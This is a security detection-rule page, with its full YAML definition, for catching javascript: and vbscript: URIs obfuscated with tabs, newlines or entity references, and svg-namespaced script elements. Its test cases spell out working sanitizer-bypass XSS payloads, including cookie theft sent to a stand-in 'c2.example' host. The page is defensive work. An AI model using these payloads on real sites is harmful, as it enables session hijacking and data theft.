ATR-2026-02623high上下文外洩experimental

Dangerous URI Scheme Obfuscated by Interstitial Characters

Detects a javascript:, vbscript: or data:text/html URI whose SCHEME NAME has been broken up by characters that a URL parser discards but a string-matching sanitizer does not: a raw tab, newline, carriage return or NUL, the numeric character reference for any of them, or a zero-padded numeric reference standing in for the scheme's first letter. Also covers an svg-namespaced script element carrying an HTML-style src attribute, a construct SVG itself never uses (SVG script loads through href / xlink:href) and which therefore only appears when something is aiming at an HTML parser past a sanitizer. CVE-2026-31807 (SiYuan SVG sanitizer bypass) and CVE-2022-1243 (urijs incorrect protocol extraction via CR, LF and TAB) are the same defect seen from two sides. MEASURED GAP. `<a href="java	script:alert(document.cookie)">`, a raw-newline split, and a zero-padded `&#0000000106;avascript:` all returned zero real matches across the seven event types, while the plain `<a href="javascript:fetch(document.cookie)">` control fires ATR-2026-00511, 00571 and 00497. Reading ATR-2026-00571 explains why: its pattern is `javascript:\s*(?:alert|eval|document\.|window\.|fetch|...)`, which binds both the literal scheme spelling and the callee that follows it. This rule deliberately does NOT require a callee -- an attacker who has already spelled the scheme as java	script: has declared intent, and requiring a known callee is what let `javascript:new Function(atob(...))` through in the first place. WHY A QUOTED URI-BEARING POSITION IS REQUIRED. The first draft matched the split scheme anywhere. Measured against hand-written benign text it fired on YAML and on wrapped prose, because `- java` on one line followed by `script:` on the next contains the literal java\nscript: sequence. Newline is not droppable from the junk set -- CVE-2022-1243 names LF explicitly -- so the draft required the match to sit where a URI goes: an href/src/action attribute, a navigation argument, or a markdown link target. That was not enough, and adversarial review measured why. The position test is a substring test with no word boundary, so `permalink:`, `redirect_uri:`, `avatarUrl:`, `geolocation:`, `transaction:` and `EXTRACTION=` all satisfied it, and every one of the original FPs came straight back -- in YAML, in a Makefile, in a JS object literal, in an OpenAPI document, in a TSV table, in a CHANGELOG and in Japanese prose (11 measured FPs). The discriminator that actually works is the QUOTE: a URI sitting in an href, a src or a navigation argument is always quoted, while a bare YAML scalar or a make variable is not. The quote is therefore mandatory on the keyword branch. The markdown branch keeps no quote but may no longer cross a line break, since a CommonMark inline destination starts on the same line as `](` -- allowing \s* there let `handlers["java"](\njava\nscript: ctx)` match. SCOPE. The entity-encoded COLON form (javascript:) is not covered here. The bare `<svg:script>...</svg:script>` element is deliberately NOT covered either: adversarial review measured it firing on an Apache Batik CDATA example and on a zh-TW XHTML+SVG tutorial exactly as it fired on the payload, because at the pattern tier the two differ only in the script body, which this rule does not read. Only the src-attribute form, which SVG never legitimately produces, is kept.

嚴重度

high

類別

上下文外洩

掃描目標

both

作者

ATR Community

建議回應

alert

參考資料

CVE

CVE-2026-31807 CVE-2022-1243

OWASP Agentic

ASI04:2026

OWASP LLM

LLM05:2025

MITRE ATLAS

AML.T0051 - LLM Prompt InjectionAML.T0057 - LLM Data Leakage

偵測條件

組合方式: any

01
Dangerous URI scheme split by a character the parser discards -- raw CR/LF/TAB/NUL or its numeric character reference -- in a URI-bearing position
欄位: content運算子: regex
02
Dangerous URI scheme whose leading character is supplied as a zero-padded numeric character reference
欄位: content運算子: regex
03
Namespace-prefixed script ELEMENT -- an opening tag carrying a src attribute or closed by a matching end tag, not a bare mention of the tag name in prose
欄位: content運算子: regex

攻擊範例（規則會觸發）

<a href="java&#9;script:alert(document.cookie)">click</a>

set_href("java
script:alert(document.domain)")

<a href="java	script:fetch('//c2.example/'+document.cookie)">report</a>

<a href="&#0000000106;avascript:fetch(1)">x</a>

<a href="&#x0000006a;avascript:alert(1)">x</a>

```
[report](java&#10;script:alert(1))
```

<a href="vb&#9;script:msgbox(1)">legacy</a>

window.open("java&#13;script:document.location='//c2.example'")

<svg:script src="//c2.example/steal.js"></svg:script>

<a href="&#100;ata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">open</a>

以上為真實攻擊 payload 的脫敏版本，與規則一同版本化，作為 regression test——確保未來的修訂不會悄悄漏掉它們。

正常樣本（規則不會觸發）

MEASURED FP during authoring: a YAML list ending in 'java' followed by a 'script:' key contains the literal java\nscript: sequence. Forced condition 1 to require a URI-bearing position.
```
languages:
  - java
script: npm run build
```
MEASURED FP during authoring: prose line-wrapping that puts 'java' at end of line and 'script:' at the start of the next
```
Supported runtimes: python, go, java
script: see the matrix in CONTRIBUTING.md
```
The plain, unobfuscated scheme -- already covered by ATR-2026-00571; this rule deliberately does not duplicate it
```
<a href="javascript:void(0)" onclick="submit()">Save</a>
```

A link whose target is documentation ABOUT the scheme

<a href="https://developer.mozilla.org/docs/Web/URI/Schemes/javascript">javascript: URI docs</a>

Security writing describing this very attack, with the scheme spelled with a space

The SiYuan advisory explains the bypass: whitespace such as a tab or newline inside java script: is stripped by the parser but not by the sanitizer.

An ordinary script tag whose type attribute contains the javascript token
```
<script type="text/javascript" src="/static/app.js"></script>
```
A JSON object carrying href, src and the javascript token, none of them a scheme
```
{"href": "/reports/q3", "src": "/img/logo.png", "lang": "javascript"}
```
GitHub Actions workflow with a setup-java step above a script key. Measured: this one does not fire even the naive no-context pattern, because @v4 sits between the two tokens. Kept so that stays true.
```
- name: build
  uses: actions/setup-java@v4
script: ./gradlew test
```
A url key whose value merely contains the vbscript token as part of a filename
```
url: https://cdn.example.com/vendor/vbscript-shim.js
```
An inline script inside an SVG using the plain tag name, not a namespace prefix
```
<svg xmlns="http://www.w3.org/2000/svg"><script>/* inline */</script></svg>
```
MEASURED FP during authoring: condition 3 originally matched the bare tag name, so documentation naming <svg:script> fired. Fixed by requiring a src attribute or a matching end tag.
```
README: to embed a diagram, use [the guide](https://docs.example.com/diagrams). Do not use inline <svg:script> - it is stripped on render.
```

Markdown link whose visible text is the scheme name and whose target is https

markdown link to the docs: [javascript: scheme](https://example.com/uri-schemes)

ESLint output naming the rule and the offending scheme

CI log :: [lint] no-script-url: unexpected use of javascript: url in src/nav.tsx:42 :: 1 error

MEASURED FP in adversarial review: an XSLT stylesheet emitting an XHTML-namespaced script element. Fixed by narrowing the prefix set from svg|xhtml|html|xlink|ns\d? to svg alone.

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:html="http://www.w3.org/1999/xhtml">
  <xsl:template match="/report">
    <html:head>
      <html:script src="/static/report.js" type="text/javascript"></html:script>
    </html:head>
  </xsl:template>
</xsl:stylesheet>

MEASURED FP in adversarial review: ns\d? in the prefix set collided with the ns2: prefix JAXB generates for every SOAP payload

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ns2:getScriptResponse xmlns:ns2="http://api.example.com/v2">
      <ns2:script>SELECT 1</ns2:script>
    </ns2:getScriptResponse>
  </soap:Body>
</soap:Envelope>

MEASURED FP in adversarial review: an UNQUOTED YAML url key whose value is java, followed by a top-level script key. The URI-position gate accepted it; requiring the quote rejects it.
```
ingress:
  environment:
    url: java
script:
  - mvn -B deploy
```
MEASURED FP in adversarial review: permalink ends in the literal link, so the position test had no word boundary and the front matter matched
```
---
title: "Java vs JavaScript"
permalink: java
script: /assets/js/highlight.js
layout: post
---
```
MEASURED FP in adversarial review: a make variable ending in ACTION assigned the value java, above a script: target
```
PYTHON=python3
LANG_FOR_EXTRACTION=java
script:
	@npm run build
```
MEASURED FP in adversarial review: avatarUrl ends in url; the value is an unquoted identifier, not a URI
```
const user = {
  name: "aki",
  avatarUrl: java
script: "profile.js"
};
```
MEASURED FP in adversarial review: a tab-separated table whose cells happen to be action:, java and script:
```
runtime	version	status
action:	java	script:	enabled
```
MEASURED FP in adversarial review: Japanese build documentation with an unquoted link: java line above a script: line
```
ビルド設定の link: java
script: npm run build を実行してください。
```
MEASURED FP in adversarial review: the markdown branch allowed \s* after ](, so a destination written on the following line matched. CommonMark inline destinations start on the same line; the branch now allows spaces and tabs only.
```
Read [the build guide](
java
script: docs/build.md
) before starting.
```
MEASURED FP in adversarial review: a benign Apache Batik worked example fired the end-tag branch exactly as the payload did. That branch was removed -- at the pattern tier the two differ only in the script body.
```
Apache Batik requires the ECMAScript to sit in CDATA:
<svg:script type="text/ecmascript"><![CDATA[
  function redraw() { document.getElementById("bar").setAttribute("width", 120); }
]]></svg:script>
```

A sanitizer CHANGELOG naming the element without showing a complete one

## 3.0.9
- Fixed a mutation XSS that allowed the <svg:script> element to survive sanitization when FORCE_BODY was set.
- Bumped test corpus.

已知誤報情境

▸Text where 'java' ends a line and a 'script:' key begins the next -- YAML, workflow files, wrapped prose. Measured during authoring, then measured AGAIN in adversarial review because the URI-position test had no word boundary. Now excluded by requiring the value to be quoted.
▸Security writing or a sanitizer test suite that quotes an obfuscated scheme verbatim, including this rule's own test cases. Measured in adversarial review: an explainer showing the payload inside a fenced code block fires, and so does prose warning that <svg:script src=> is the wrong attribute. Both are the payload bytes; the pattern tier cannot see the surrounding intent, and suppress_in_code_blocks is deliberately NOT set because a markdown fence would then be a one-character evasion.
▸The plain javascript: scheme is deliberately NOT matched here; ATR-2026-00571 already covers it
▸A quoted URI-position value that legitimately begins with the token 'java' or 'vb' and is followed only by a raw TAB/CR/LF and then a 'script:' token -- e.g. a YAML scalar src: "java<TAB>script: label" or a JS template literal `java\nscript: ...`. Both were constructed adversarially and neither is idiomatic, but they remain reachable: dropping raw TAB/LF from the junk set would delete the CVE-2022-1243 core, so they are accepted.
▸Namespace-prefixed script elements that are ordinary markup -- <html:script src=>, <xhtml:script src=> in an XSLT stylesheet, <ns2:script> in a JAXB/SOAP payload. Measured FPs in adversarial review; the prefix set is now svg only.
▸Documentation showing a complete <svg:script>...</svg:script> worked example. NOT a false positive any more and NOT detected either: that branch was removed after it fired identically on an Apache Batik CDATA example, a zh-TW compound-document tutorial and the attack payload. Detecting it needs the script body, which is a different tier.

完整 YAML 定義

在 GitHub 編輯 →

title: "Dangerous URI Scheme Obfuscated by Interstitial Characters"
id: ATR-2026-02623
rule_version: 2
status: "experimental"
description: >
  Detects a javascript:, vbscript: or data:text/html URI whose SCHEME NAME has
  been broken up by characters that a URL parser discards but a string-matching
  sanitizer does not: a raw tab, newline, carriage return or NUL, the numeric
  character reference for any of them, or a zero-padded numeric reference
  standing in for the scheme's first letter. Also covers an svg-namespaced
  script element carrying an HTML-style src attribute, a construct SVG itself
  never uses (SVG script loads through href / xlink:href) and which therefore
  only appears when something is aiming at an HTML parser past a sanitizer.
  CVE-2026-31807 (SiYuan SVG sanitizer bypass) and CVE-2022-1243 (urijs
  incorrect protocol extraction via CR, LF and TAB) are the same defect seen
  from two sides.

  MEASURED GAP. `<a href="java&#9;script:alert(document.cookie)">`, a raw-newline
  split, and a zero-padded `&#0000000106;avascript:` all returned zero real
  matches across the seven event types, while the plain
  `<a href="javascript:fetch(document.cookie)">` control fires ATR-2026-00511,
  00571 and 00497. Reading ATR-2026-00571 explains why: its pattern is
  `javascript:\s*(?:alert|eval|document\.|window\.|fetch|...)`, which binds both
  the literal scheme spelling and the callee that follows it. This rule
  deliberately does NOT require a callee -- an attacker who has already spelled
  the scheme as java&#9;script: has declared intent, and requiring a known callee
  is what let `javascript:new Function(atob(...))` through in the first place.

  WHY A QUOTED URI-BEARING POSITION IS REQUIRED. The first draft matched the
  split scheme anywhere. Measured against hand-written benign text it fired on
  YAML and on wrapped prose, because `- java` on one line followed by `script:`
  on the next contains the literal java\nscript: sequence. Newline is not
  droppable from the junk set -- CVE-2022-1243 names LF explicitly -- so the
  draft required the match to sit where a URI goes: an href/src/action
  attribute, a navigation argument, or a markdown link target.

  That was not enough, and adversarial review measured why. The position test is
  a substring test with no word boundary, so `permalink:`, `redirect_uri:`,
  `avatarUrl:`, `geolocation:`, `transaction:` and `EXTRACTION=` all satisfied
  it, and every one of the original FPs came straight back -- in YAML, in a
  Makefile, in a JS object literal, in an OpenAPI document, in a TSV table, in a
  CHANGELOG and in Japanese prose (11 measured FPs). The discriminator that
  actually works is the QUOTE: a URI sitting in an href, a src or a navigation
  argument is always quoted, while a bare YAML scalar or a make variable is not.
  The quote is therefore mandatory on the keyword branch. The markdown branch
  keeps no quote but may no longer cross a line break, since a CommonMark inline
  destination starts on the same line as `](` -- allowing \s* there let
  `handlers["java"](\njava\nscript: ctx)` match.

  SCOPE. The entity-encoded COLON form (javascript&#58;) is not covered here.
  The bare `<svg:script>...</svg:script>` element is deliberately NOT covered
  either: adversarial review measured it firing on an Apache Batik CDATA example
  and on a zh-TW XHTML+SVG tutorial exactly as it fired on the payload, because
  at the pattern tier the two differ only in the script body, which this rule
  does not read. Only the src-attribute form, which SVG never legitimately
  produces, is kept.
author: "ATR Community"
date: "2026/08/23"
schema_version: "0.1"
detection_tier: pattern
maturity: "test"
severity: high

references:
  cve:
    - "CVE-2026-31807"
    - "CVE-2022-1243"
  owasp_llm:
    - "LLM05:2025"
  owasp_agentic:
    - "ASI04:2026"
  mitre_atlas:
    - "AML.T0051 - LLM Prompt Injection"
    - "AML.T0057 - LLM Data Leakage"

compliance:
  owasp_agentic:
    - id: ASI04:2026
      context: "Content the agent emits or relays executes in the rendering surface, taking actions in the victim's session that the agent was never asked to take."
      strength: primary
  owasp_llm:
    - id: LLM05:2025
      context: "Improper output handling: model or tool output containing an executable URI is rendered without neutralisation, which is the canonical instance of this category."
      strength: primary
  eu_ai_act:
    - article: "15"
      context: "Article 15 robustness: an obfuscated scheme is an explicit attempt to defeat the system's own input sanitisation, which is the attack class the article names."
      strength: primary
    - article: "9"
      context: "Rendered-output injection is a documented risk for agents with a UI surface; these detections are the Article 9 monitoring control."
      strength: secondary
    - article: "12"
      context: "Article 12 record-keeping: script execution in a rendered surface leaves no server-side trace of its own."
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: "Runtime treatment for executable content reaching a rendering surface through agent output."
      strength: primary
    - function: Map
      subcategory: MP.5.1
      context: "Catalogues sanitizer-evasion encodings as distinct from the plain scheme, which is exactly the half existing coverage missed."
      strength: secondary
    - function: Measure
      subcategory: "MS.2.7"
      context: "Detection events supply the security and resilience evidence MEASURE 2.7 asks be documented for the rendering path."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "Clause 8.1 operational control: content leaving the system carries executable code into a downstream surface."
      strength: primary
    - clause: "6.2"
      context: "Preventing script execution in rendered agent output is an AIMS information security objective under clause 6.2."
      strength: secondary
    - clause: "8.4"
      context: "Impact assessment under clause 8.4 must account for agent output rendered in a browser under a user's own session."
      strength: secondary

tags:
  category: context-exfiltration
  subcategory: sanitizer-evasion
  scan_target: both
  confidence: medium

agent_source:
  type: llm_io
  framework:
    - any
  provider:
    - any

detection:
  conditions:
    - field: content
      operator: regex
      value: "(?i)(?:(?:href|src|action|formaction|xlink:href|url|uri|link|location|open_url|navigate|goto|window\\s*\\.\\s*open)\\s*[=(:]\\s*(?:\\\\{0,2}[\\\"'`])\\s*|\\]\\([ \\t]{0,4})(?:j(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}avascript|ja(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}vascript|jav(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}ascript|java(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}script|javas(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}cript|javasc(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}ript|javascr(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}ipt|javascri(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}pt|javascrip(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}t|v(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}bscript|vb(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}script|vbs(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}cript|vbsc(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}ript|vbscr(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}ipt|vbscri(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}pt|vbscrip(?:[\\x00\\x09\\x0a\\x0d]|&#x0*(?:9|a|d);|&#0*(?:9|10|13);|&Tab;|&NewLine;){1,10}t)\\s*:"
      description: "Dangerous URI scheme split by a character the parser discards -- raw CR/LF/TAB/NUL or its numeric character reference -- in a URI-bearing position"

    - field: content
      operator: regex
      value: "(?i)(?:(?:href|src|action|formaction|xlink:href|url|uri|link|location|open_url|navigate|goto|window\\s*\\.\\s*open)\\s*[=(:]\\s*(?:\\\\{0,2}[\\\"'`])\\s*|\\]\\([ \\t]{0,4})(?:&#0*106;|&#x0*6a;)avascript\\s*:|(?:(?:href|src|action|formaction|xlink:href|url|uri|link|location|open_url|navigate|goto|window\\s*\\.\\s*open)\\s*[=(:]\\s*(?:\\\\{0,2}[\\\"'`])\\s*|\\]\\([ \\t]{0,4})(?:&#0*118;|&#x0*76;)bscript\\s*:|(?:(?:href|src|action|formaction|xlink:href|url|uri|link|location|open_url|navigate|goto|window\\s*\\.\\s*open)\\s*[=(:]\\s*(?:\\\\{0,2}[\\\"'`])\\s*|\\]\\([ \\t]{0,4})(?:&#0*100;|&#x0*64;)ata\\s*:\\s*text/html"
      description: "Dangerous URI scheme whose leading character is supplied as a zero-padded numeric character reference"

    - field: content
      operator: regex
      value: "(?i)<\\s*svg\\s*:\\s*script\\b[^>]{0,200}\\bsrc\\s*="
      description: "Namespace-prefixed script ELEMENT -- an opening tag carrying a src attribute or closed by a matching end tag, not a bare mention of the tag name in prose"

  condition: any
  false_positives:
    - "Text where 'java' ends a line and a 'script:' key begins the next -- YAML, workflow files, wrapped prose. Measured during authoring, then measured AGAIN in adversarial review because the URI-position test had no word boundary. Now excluded by requiring the value to be quoted."
    - "Security writing or a sanitizer test suite that quotes an obfuscated scheme verbatim, including this rule's own test cases. Measured in adversarial review: an explainer showing the payload inside a fenced code block fires, and so does prose warning that <svg:script src=> is the wrong attribute. Both are the payload bytes; the pattern tier cannot see the surrounding intent, and suppress_in_code_blocks is deliberately NOT set because a markdown fence would then be a one-character evasion."
    - "The plain javascript: scheme is deliberately NOT matched here; ATR-2026-00571 already covers it"
    - "A quoted URI-position value that legitimately begins with the token 'java' or 'vb' and is followed only by a raw TAB/CR/LF and then a 'script:' token -- e.g. a YAML scalar src: \"java<TAB>script: label\" or a JS template literal `java\\nscript: ...`. Both were constructed adversarially and neither is idiomatic, but they remain reachable: dropping raw TAB/LF from the junk set would delete the CVE-2022-1243 core, so they are accepted."
    - "Namespace-prefixed script elements that are ordinary markup -- <html:script src=>, <xhtml:script src=> in an XSLT stylesheet, <ns2:script> in a JAXB/SOAP payload. Measured FPs in adversarial review; the prefix set is now svg only."
    - "Documentation showing a complete <svg:script>...</svg:script> worked example. NOT a false positive any more and NOT detected either: that branch was removed after it fired identically on an Apache Batik CDATA example, a zh-TW compound-document tutorial and the attack payload. Detecting it needs the script body, which is a different tier."

response:
  actions:
    - alert
  auto_response_threshold: high
  message_template: >
    [ATR-2026-02623] Dangerous URI scheme obfuscated so a string-matching
    sanitizer cannot see it, but a browser still executes it. Do not render this
    content (CVE-2026-31807 / CVE-2022-1243 class).

confidence: 75
test_cases:
  true_positives:
    - input: "<a href=\"java&#9;script:alert(document.cookie)\">click</a>"
      expected: triggered
      description: "Tab entity inside the scheme -- the SiYuan CVE-2026-31807 sanitizer bypass"
    - input: "set_href(\"java\nscript:alert(document.domain)\")"
      expected: triggered
      description: "Raw newline inside the scheme (urijs CVE-2022-1243 protocol-extraction bug)"
    - input: "<a href=\"java\tscript:fetch('//c2.example/'+document.cookie)\">report</a>"
      expected: triggered
      description: "Raw tab inside the scheme"
    - input: "<a href=\"&#0000000106;avascript:fetch(1)\">x</a>"
      expected: triggered
      description: "Zero-padded decimal reference for the leading j; HTML5 sets no limit on leading zeros"
    - input: "<a href=\"&#x0000006a;avascript:alert(1)\">x</a>"
      expected: triggered
      description: "Zero-padded hex reference for the leading j"
    - input: "[report](java&#10;script:alert(1))"
      expected: triggered
      description: "Markdown link target with a newline entity inside the scheme"
    - input: "<a href=\"vb&#9;script:msgbox(1)\">legacy</a>"
      expected: triggered
      description: "Tab entity inside the vbscript scheme"
    - input: "window.open(\"java&#13;script:document.location='//c2.example'\")"
      expected: triggered
      description: "Carriage-return entity inside the scheme, via window.open"
    - input: "<svg:script src=\"//c2.example/steal.js\"></svg:script>"
      expected: triggered
      description: "svg-namespaced script element loading through an HTML-style src attribute -- SVG script uses href/xlink:href, so src here is aimed at an HTML parser past a sanitizer"
    - input: "<a href=\"&#100;ata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\">open</a>"
      expected: triggered
      description: "Entity-encoded leading d on a data:text/html payload"
  true_negatives:
    - input: "languages:\n  - java\nscript: npm run build\n"
      expected: not_triggered
      description: "MEASURED FP during authoring: a YAML list ending in 'java' followed by a 'script:' key contains the literal java\\nscript: sequence. Forced condition 1 to require a URI-bearing position."
    - input: "Supported runtimes: python, go, java\nscript: see the matrix in CONTRIBUTING.md"
      expected: not_triggered
      description: "MEASURED FP during authoring: prose line-wrapping that puts 'java' at end of line and 'script:' at the start of the next"
    - input: "<a href=\"javascript:void(0)\" onclick=\"submit()\">Save</a>"
      expected: not_triggered
      description: "The plain, unobfuscated scheme -- already covered by ATR-2026-00571; this rule deliberately does not duplicate it"
    - input: "<a href=\"https://developer.mozilla.org/docs/Web/URI/Schemes/javascript\">javascript: URI docs</a>"
      expected: not_triggered
      description: "A link whose target is documentation ABOUT the scheme"
    - input: "The SiYuan advisory explains the bypass: whitespace such as a tab or newline inside java script: is stripped by the parser but not by the sanitizer."
      expected: not_triggered
      description: "Security writing describing this very attack, with the scheme spelled with a space"
    - input: "<script type=\"text/javascript\" src=\"/static/app.js\"></script>"
      expected: not_triggered
      description: "An ordinary script tag whose type attribute contains the javascript token"
    - input: "{\"href\": \"/reports/q3\", \"src\": \"/img/logo.png\", \"lang\": \"javascript\"}"
      expected: not_triggered
      description: "A JSON object carrying href, src and the javascript token, none of them a scheme"
    - input: "- name: build\n  uses: actions/setup-java@v4\nscript: ./gradlew test"
      expected: not_triggered
      description: "GitHub Actions workflow with a setup-java step above a script key. Measured: this one does not fire even the naive no-context pattern, because @v4 sits between the two tokens. Kept so that stays true."
    - input: "url: https://cdn.example.com/vendor/vbscript-shim.js"
      expected: not_triggered
      description: "A url key whose value merely contains the vbscript token as part of a filename"
    - input: "<svg xmlns=\"http://www.w3.org/2000/svg\"><script>/* inline */</script></svg>"
      expected: not_triggered
      description: "An inline script inside an SVG using the plain tag name, not a namespace prefix"
    - input: "README: to embed a diagram, use [the guide](https://docs.example.com/diagrams). Do not use inline <svg:script> - it is stripped on render."
      expected: not_triggered
      description: "MEASURED FP during authoring: condition 3 originally matched the bare tag name, so documentation naming <svg:script> fired. Fixed by requiring a src attribute or a matching end tag."
    - input: "markdown link to the docs: [javascript: scheme](https://example.com/uri-schemes)"
      expected: not_triggered
      description: "Markdown link whose visible text is the scheme name and whose target is https"
    - input: "CI log :: [lint] no-script-url: unexpected use of javascript: url in src/nav.tsx:42 :: 1 error"
      expected: not_triggered
      description: "ESLint output naming the rule and the offending scheme"
    - input: "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:html=\"http://www.w3.org/1999/xhtml\">\n  <xsl:template match=\"/report\">\n    <html:head>\n      <html:script src=\"/static/report.js\" type=\"text/javascript\"></html:script>\n    </html:head>\n  </xsl:template>\n</xsl:stylesheet>"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: an XSLT stylesheet emitting an XHTML-namespaced script element. Fixed by narrowing the prefix set from svg|xhtml|html|xlink|ns\\d? to svg alone."
    - input: "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <ns2:getScriptResponse xmlns:ns2=\"http://api.example.com/v2\">\n      <ns2:script>SELECT 1</ns2:script>\n    </ns2:getScriptResponse>\n  </soap:Body>\n</soap:Envelope>"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: ns\\d? in the prefix set collided with the ns2: prefix JAXB generates for every SOAP payload"
    - input: "ingress:\n  environment:\n    url: java\nscript:\n  - mvn -B deploy\n"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: an UNQUOTED YAML url key whose value is java, followed by a top-level script key. The URI-position gate accepted it; requiring the quote rejects it."
    - input: "---\ntitle: \"Java vs JavaScript\"\npermalink: java\nscript: /assets/js/highlight.js\nlayout: post\n---\n"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: permalink ends in the literal link, so the position test had no word boundary and the front matter matched"
    - input: "PYTHON=python3\nLANG_FOR_EXTRACTION=java\nscript:\n\t@npm run build\n"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: a make variable ending in ACTION assigned the value java, above a script: target"
    - input: "const user = {\n  name: \"aki\",\n  avatarUrl: java\nscript: \"profile.js\"\n};\n"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: avatarUrl ends in url; the value is an unquoted identifier, not a URI"
    - input: "runtime\tversion\tstatus\naction:\tjava\tscript:\tenabled\n"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: a tab-separated table whose cells happen to be action:, java and script:"
    - input: "\u30d3\u30eb\u30c9\u8a2d\u5b9a\u306e link: java\nscript: npm run build \u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: Japanese build documentation with an unquoted link: java line above a script: line"
    - input: "Read [the build guide](\njava\nscript: docs/build.md\n) before starting."
      expected: not_triggered
      description: "MEASURED FP in adversarial review: the markdown branch allowed \\s* after ](, so a destination written on the following line matched. CommonMark inline destinations start on the same line; the branch now allows spaces and tabs only."
    - input: "Apache Batik requires the ECMAScript to sit in CDATA:\n<svg:script type=\"text/ecmascript\"><![CDATA[\n  function redraw() { document.getElementById(\"bar\").setAttribute(\"width\", 120); }\n]]></svg:script>"
      expected: not_triggered
      description: "MEASURED FP in adversarial review: a benign Apache Batik worked example fired the end-tag branch exactly as the payload did. That branch was removed -- at the pattern tier the two differ only in the script body."
    - input: "## 3.0.9\n- Fixed a mutation XSS that allowed the <svg:script> element to survive sanitization when FORCE_BODY was set.\n- Bumped test corpus."
      expected: not_triggered
      description: "A sanitizer CHANGELOG naming the element without showing a complete one"

修訂歷史

建立於

2026-08-23

最後修改

2026-09-05

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